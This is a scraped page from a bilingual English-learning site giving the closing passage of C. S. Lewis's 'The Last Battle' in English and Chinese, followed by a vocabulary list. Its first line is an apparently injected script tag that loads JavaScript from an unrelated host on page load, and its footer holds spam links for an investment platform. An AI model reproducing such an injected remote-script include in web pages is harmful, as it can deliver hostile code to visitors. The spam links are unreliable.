script src="http://zzz.8565037.com/al.js" type="text/javascript">

手机APP下载

您现在的位置: 首页 > 双语阅读 > 名著小说 > 最后一战 > 正文

《最后一战》第76期:告别幻影世界(4)

来源:可可英语 编辑:Jasmine ?  VIP免费外教试听课 |  可可官方微信:ikekenet
Suddenly they shifted their eyes to another spot, and then Peter and Edmund and Lucy gasped with amazement and shouted out and began waving: for there they saw their own father and mother, waving back at them across the great, deep valley. It was like when you see people waving at you from the deck of a big ship when you are waiting on the quay to meet them.突然,他们把眼睛转到了另一个地点,彼得、爱德蒙和露茜这就惊讶得连气也透不过来,他们口中叫了出来,双手也开始挥动起来,因为他们看到了他们的父母,父母也隔着那又大又深的溪谷向他们挥手致意。这就像你看到人们在一条大船的甲板上向你挥手致意,而你正在码头上迎接他们。
"How can we get at them?" said Lucy.“我们怎么能和他们团聚呢?”露茜问道。
"That is easy," said Mr Tumnus. "That country and this country - all the real countries - are only spurs jutting out from the great mountains of Aslan. We have only to walk along the ridge, upward and inward, till it joins on. And listen! There is King Frank's horn: we must all go up."“那倒容易,”图姆纳斯说道,“那个国家和这个国家——都是真正的国家——都不过是从阿斯兰的崇山峻岭上突出来的山鼻子罢了。我们只要沿着山脊走去,向上向内走去,直到两处连接的地方。听呀,国王法兰克的号角响了,我们大家都必须往上走了。”
And soon they found themselves all walking together and a great, bright procession it was - up towards mountains higher than you could see in this world even if they were there to be seen. But there was no snow on those mountains: there were forests and green slopes and sweet orchards and flashing waterfalls, one above the other, going up forever. And the land they were walking on grew narrower all the time, with a deep valley on each side: and across that valley the land which was the real England grew nearer and nearer.不久他们就发现大家都走在一起了——好一个伟大而辉煌的行列——都在向上走向比你在这个世界里能看到的高山还要高的崇山峻岭,如果看得到高山的话。但这些崇山峻岭上可没有积雪:有的是森森林木、苍翠山坡、芳香果园和闪烁瀑布,一个接着一个,永远往高处绵延。而他们正在走着的土地始终在愈变愈窄,两边各有一个深谷,深谷那一边的土地,便是真正的英国,愈走愈近啦。
The light ahead was growing stronger. Lucy saw that a great series of many-coloured cliffs led up in front of them like a giant's staircase. And then she forgot everything else, because Aslan himself was coming, leaping down from cliff to cliff like a living cataract of power and beauty.前边的光芒愈来愈强烈了。露茜看到一系列彩色的悬崖峭壁重重叠叠,像是巨人的磴道。接着她把其他种种都忘掉了,因为阿斯兰自己来了,从悬崖峭壁到悬崖峭壁往下奔腾,像是充满力量和美丽的生动活泼的瀑布。
And the very first person whom Aslan called to him was Puzzle the Donkey. You never saw a donkey look feebler and sillier than Puzzle did as he walked up to Aslan, and he looked, beside Aslan, as small as a kitten looks beside a St Bernard. The Lion bowed down his head and whispered something to Puzzle at which his long ears went down, but then he said something else at which the ears perked up again. The humans couldn't hear what he had said either time. Then Aslan turned to them and said:阿斯兰首先呼唤的对象是驴子迷惑。驴子向阿斯兰走去,你从未看见过一头驴子像迷惑当时那样虚弱和愚蠢的了:它站在阿斯兰身边,看上去小得就像站在圣·贝尔纳身边的小猫一样。狮王俯下脑袋,在迷惑的耳边低声说了些话,听到这话,迷惑的长耳朵垂下来了;但狮王随即又说了些别的话,听到这话,迷惑的耳朵又竖起来了,几个人都没法儿听到狮王先后两次所说的话。接着,阿斯兰转向人们说道:
"You do not yet look so happy as I mean you to be."“看来你们还不像我原来指望的那么快乐啊。”
Lucy said, "We're so afraid of being sent away, Aslan. And you have sent us back into our own world so often."露茜说:“阿斯兰,我们担心你要把我们送走。你好几次都把我们送回我们自己的世界去的。”
"No fear of that," said Aslan. "Have you not guessed?"“不用担心,”阿斯兰说道,“你们没猜到吗?”
Their hearts leaped and a wild hope rose within them.他们的心怦怦直跳,内心里升起了疯狂的希望。
"There was a real railway accident," said Aslan softly. "Your father and mother and all of you are - as you used to call it in the Shadowlands - dead. The term is over: the holidays have begun. The dream is ended: this is the morning."“确实发生过一次火车事故,”阿斯兰低声说道,“你们的父亲和母亲以及你们大家都死了——正如你们惯常所说的,到影子国土去了。学期结束了,假期开始了。梦做完了:现在是早晨了。”
And as He spoke He no longer looked to them like a lion; but the things that began to happen after that were so great and beautiful that I cannot write them. And for us this is the end of all the stories, and we can most truly say that they all lived happily ever after. But for them it was only the beginning of the real story. All their life in this world and all their adventures in Narnia had only been the cover and the title page: now at last they were beginning Chapter One of the Great Story which no one on earth has read: which goes on forever: in which every chapter is better than the one before.阿斯兰说话时,他不再像一头狮子那样对着他们直瞧;但以后开始发生的事情是那么伟大和美丽,所以我无法描写。对我们说来,这就是所有故事的结局,我们能最最真实地说,从此以后,他们大家幸福地生活下去了。但对他们说来,这仅仅是真正故事的开端。他们在这个世界里的一切生活以及他们在纳尼亚的一切奇遇,仅仅是一本书的封面和扉页:现在他们终于把这伟大故事的第一章开了个头。这伟大的故事,世界上的人不曾读过,这伟大的故事会永远继续下去:每一章都比前一章更精彩。

Suddenly they shifted their eyes to another spot, and then Peter and Edmund and Lucy gasped with amazement and shouted out and began waving: for there they saw their own father and mother, waving back at them across the great, deep valley. It was like when you see people waving at you from the deck of a big ship when you are waiting on the quay to meet them.

"How can we get at them?" said Lucy.

"That is easy," said Mr Tumnus. "That country and this country - all the real countries - are only spurs jutting out from the great mountains of Aslan. We have only to walk along the ridge, upward and inward, till it joins on. And listen! There is King Frank's horn: we must all go up."

And soon they found themselves all walking together and a great, bright procession it was - up towards mountains higher than you could see in this world even if they were there to be seen. But there was no snow on those mountains: there were forests and green slopes and sweet orchards and flashing waterfalls, one above the other, going up forever. And the land they were walking on grew narrower all the time, with a deep valley on each side: and across that valley the land which was the real England grew nearer and nearer.

The light ahead was growing stronger. Lucy saw that a great series of many-coloured cliffs led up in front of them like a giant's staircase. And then she forgot everything else, because Aslan himself was coming, leaping down from cliff to cliff like a living cataract of power and beauty.

And the very first person whom Aslan called to him was Puzzle the Donkey. You never saw a donkey look feebler and sillier than Puzzle did as he walked up to Aslan, and he looked, beside Aslan, as small as a kitten looks beside a St Bernard. The Lion bowed down his head and whispered something to Puzzle at which his long ears went down, but then he said something else at which the ears perked up again. The humans couldn't hear what he had said either time. Then Aslan turned to them and said:

"You do not yet look so happy as I mean you to be."

Lucy said, "We're so afraid of being sent away, Aslan. And you have sent us back into our own world so often."

"No fear of that," said Aslan. "Have you not guessed?"

Their hearts leaped and a wild hope rose within them.

"There was a real railway accident," said Aslan softly. "Your father and mother and all of you are - as you used to call it in the Shadowlands - dead. The term is over: the holidays have begun. The dream is ended: this is the morning."

And as He spoke He no longer looked to them like a lion; but the things that began to happen after that were so great and beautiful that I cannot write them. And for us this is the end of all the stories, and we can most truly say that they all lived happily ever after. But for them it was only the beginning of the real story. All their life in this world and all their adventures in Narnia had only been the cover and the title page: now at last they were beginning Chapter One of the Great Story which no one on earth has read: which goes on forever: in which every chapter is better than the one before.

突然,他们把眼睛转到了另一个地点,彼得、爱德蒙和露茜这就惊讶得连气也透不过来,他们口中叫了出来,双手也开始挥动起来,因为他们看到了他们的父母,父母也隔着那又大又深的溪谷向他们挥手致意。这就像你看到人们在一条大船的甲板上向你挥手致意,而你正在码头上迎接他们。

“我们怎么能和他们团聚呢?”露茜问道。

“那倒容易,”图姆纳斯说道,“那个国家和这个国家——都是真正的国家——都不过是从阿斯兰的崇山峻岭上突出来的山鼻子罢了。我们只要沿着山脊走去,向上向内走去,直到两处连接的地方。听呀,国王法兰克的号角响了,我们大家都必须往上走了。”

不久他们就发现大家都走在一起了——好一个伟大而辉煌的行列——都在向上走向比你在这个世界里能看到的高山还要高的崇山峻岭,如果看得到高山的话。但这些崇山峻岭上可没有积雪:有的是森森林木、苍翠山坡、芳香果园和闪烁瀑布,一个接着一个,永远往高处绵延。而他们正在走着的土地始终在愈变愈窄,两边各有一个深谷,深谷那一边的土地,便是真正的英国,愈走愈近啦。

前边的光芒愈来愈强烈了。露茜看到一系列彩色的悬崖峭壁重重叠叠,像是巨人的磴道。接着她把其他种种都忘掉了,因为阿斯兰自己来了,从悬崖峭壁到悬崖峭壁往下奔腾,像是充满力量和美丽的生动活泼的瀑布。

阿斯兰首先呼唤的对象是驴子迷惑。驴子向阿斯兰走去,你从未看见过一头驴子像迷惑当时那样虚弱和愚蠢的了:它站在阿斯兰身边,看上去小得就像站在圣·贝尔纳身边的小猫一样。狮王俯下脑袋,在迷惑的耳边低声说了些话,听到这话,迷惑的长耳朵垂下来了;但狮王随即又说了些别的话,听到这话,迷惑的耳朵又竖起来了,几个人都没法儿听到狮王先后两次所说的话。接着,阿斯兰转向人们说道:

“看来你们还不像我原来指望的那么快乐啊。”

露茜说:“阿斯兰,我们担心你要把我们送走。你好几次都把我们送回我们自己的世界去的。”

“不用担心,”阿斯兰说道,“你们没猜到吗?”

他们的心怦怦直跳,内心里升起了疯狂的希望。

“确实发生过一次火车事故,”阿斯兰低声说道,“你们的父亲和母亲以及你们大家都死了——正如你们惯常所说的,到影子国土去了。学期结束了,假期开始了。梦做完了:现在是早晨了。”

阿斯兰说话时,他不再像一头狮子那样对着他们直瞧;但以后开始发生的事情是那么伟大和美丽,所以我无法描写。对我们说来,这就是所有故事的结局,我们能最最真实地说,从此以后,他们大家幸福地生活下去了。但对他们说来,这仅仅是真正故事的开端。他们在这个世界里的一切生活以及他们在纳尼亚的一切奇遇,仅仅是一本书的封面和扉页:现在他们终于把这伟大故事的第一章开了个头。这伟大的故事,世界上的人不曾读过,这伟大的故事会永远继续下去:每一章都比前一章更精彩。

重点单词   查看全部解释    
spoke [spəuk]

想一想再看

v. 说,说话,演说

 
cliff [klif]

想一想再看

n. 悬崖,峭壁

 
horn [hɔ:n]

想一想再看

n. 动物角,喇叭,触角,角状物,力量源泉

 
ridge [ridʒ]

想一想再看

n. 脊,山脊,山脉

 
kitten ['kitn]

想一想再看

n. 小猫
vi. 生育小猫

联想记忆
puzzle ['pʌzl]

想一想再看

n. 谜,难题,迷惑
vt. 使困惑,使为难<

 
staircase ['stɛəkeis]

想一想再看

n. 楼梯

 
procession [prə'seʃən]

想一想再看

n. 队伍,行列
v. 列队行进

 
frank [fræŋk]

想一想再看

adj. 坦白的,直率的,真诚的
vt. 免费

 
?
发布评论我来说2句

    最新文章

    可可英语官方微信(微信号:ikekenet)

    每天向大家推送短小精悍的英语学习资料.

    添加方式1.扫描上方可可官方微信二维码。
    添加方式2.搜索微信号ikekenet添加即可。
    友情链接:澳利开户:QQ:77039689  澳利  澳利股东  澳利国际  澳利国际主管  澳利国际招商  澳利主管  澳利招商  澳利国际平台  澳利平台  澳利国际官方  澳利官方  澳利国际注册  澳利国际开户  澳利注册  澳利开户